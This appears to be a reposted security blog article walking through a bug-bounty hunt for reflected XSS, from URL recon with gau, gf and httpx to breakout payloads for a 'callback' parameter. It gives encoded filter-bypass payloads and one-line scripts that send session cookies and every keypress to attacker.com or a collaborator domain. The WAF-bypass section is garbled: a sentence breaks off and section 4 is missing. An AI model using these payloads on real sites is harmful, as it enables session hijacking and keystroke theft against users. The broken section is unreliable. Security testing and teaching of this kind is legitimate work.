Listen to this Post
Introduction:
In the high-stakes world of bug bounty hunting, not every vulnerability is a complex, system-wide compromise. Sometimes, the most resilient bugs are the simplest. Reflected Cross-Site Scripting (XSS) remains a persistent threat in web applications, often slipping through the cracks of automated scanners due to context-specific sanitization failures. This article breaks down the methodology behind finding a reflected XSS after extensive recon, providing a technical playbook for hunters facing similar challenges.
Learning Objectives:
- Understand the methodology for discovering reflected XSS in modern web applications.
- Learn to utilize command-line tools for efficient parameter fuzzing and discovery.
- Identify common WAF bypass techniques for injecting XSS payloads.
- Master the use of browser developer tools and interception proxies for manual validation.
You Should Know:
1. Reconnaissance and Parameter Discovery
The hunt for a reflected XSS begins long before the payload is typed. Modern applications are complex, with numerous endpoints and parameters. The first step is extensive reconnaissance to map the attack surface.
Step‑by‑step guide:
We will use a combination of `gau` (GetAllUrls) and `gf` (Grep Patterns) to find potentially vulnerable parameters.
- Gather URLs: Use `gau` to fetch known URLs from the target domain.
echo target.com | gau --subs | tee urls.txt
- Filter for Reflected Parameters: Use `gf` patterns to filter URLs that contain parameters which might reflect input.
cat urls.txt | gf xss | tee xss_params.txt
- Analyze with
httpx: Check which of these endpoints are live and how they respond.cat xss_params.txt | httpx -mc 200 -silent | tee live_xss_params.txt
- Manual Verification: Open the live URLs in a browser. Look for parameters whose values are reflected in the response HTML. For example, a URL like `https://target.com/search?q=test` where the page says “You searched for: test”.
What this does: This command pipeline automates the discovery of URLs, isolates those with potential injection points (parameters), and filters for live hosts, drastically reducing the manual workload.
2. Crafting the Initial Proof of Concept
Once you have a potential injection point, the goal is to break out of the context and execute JavaScript. The simplest test is the classic `alert()` box.
Step‑by‑step guide:
Assume we found a parameter `callback` in the URL `https://target.com/endpoint?callback=test` that reflects the value inside a JavaScript context.
1. Basic Injection: Attempt to break out of the string context.
https://target.com/endpoint?callback=test';alert('XSS');//
2. Analyze the Response: View the page source (Ctrl+U) to see how the input is handled.
– If you see `var data = ‘test’;alert(‘XSS’);//’;`, the injection worked.
– If the input is sanitized (e.g., quotes escaped), you need to adapt.
3. Using a Collaborator: For a blind or confirmed payload, use an external service like Burp Collaborator or Interactsh to verify execution without popping an alert.
https://target.com/endpoint?callback=test';fetch('https://your-collaborator-domain.com/?'+document.cookie);//
3. Bypassing Character Filters and WAFs
The first payload often fails due to Web Application Firewalls (WAF) or input sanitization. Successful exploitation requires evasion techniques.
Step‑by‑step guide:
Let’s assume the application blocks `` closing tag.
<img src=1 onerror=alert(document.domain)>
%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
5. Reporting and Impact Demonstration
A report that simply says "XSS here" is often paid the minimum bounty ($100 in this case). To maximize payout, demonstrate the tangible impact.
Step‑by‑step guide:
- Account Takeover Scenario: Craft a payload that steals session cookies or local storage tokens.
fetch('https://attacker.com/steal?cookie='+btoa(document.cookie))
2. Keylogging: Demonstrate a proof-of-concept keylogger.
document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key='+e.key); });
3. Content Exfiltration: Show how to read internal page content or perform actions on behalf of the user (CSRF combined with XSS).
4. Screenshot Proof: Provide a clear screenshot of the alert box or the exfiltrated data in your collaborator log, with the URL visible.
What Undercode Say:
- Persistence Pays Off: The "1 month" timeframe highlights that bug bounty is a game of endurance. Automated scanners often miss contextual vulnerabilities that require deep, manual analysis. The $100 is not just for the XSS, but for the time spent mapping the application's unique logic.
- Context is King: This reflected XSS likely existed because the developer made an assumption about the `callback` parameter's safety or because a WAF rule was too generic to catch the specific injection context. Understanding where the data lands (HTML, JavaScript, CSS, JSON) is more important than the payload itself.
Prediction:
As JavaScript frameworks continue to evolve with client-side rendering, the line between reflected and DOM-based XSS will blur. We will see a rise in "client-side reflected" vulnerabilities where the server safely reflects the payload, but a client-side framework unsafely renders it. This will shift the focus of hunting from server-side templates to auditing complex `npm` dependencies and build pipelines, making manual source code review an even more critical skill than automated fuzzing.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Alham Rizvi - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
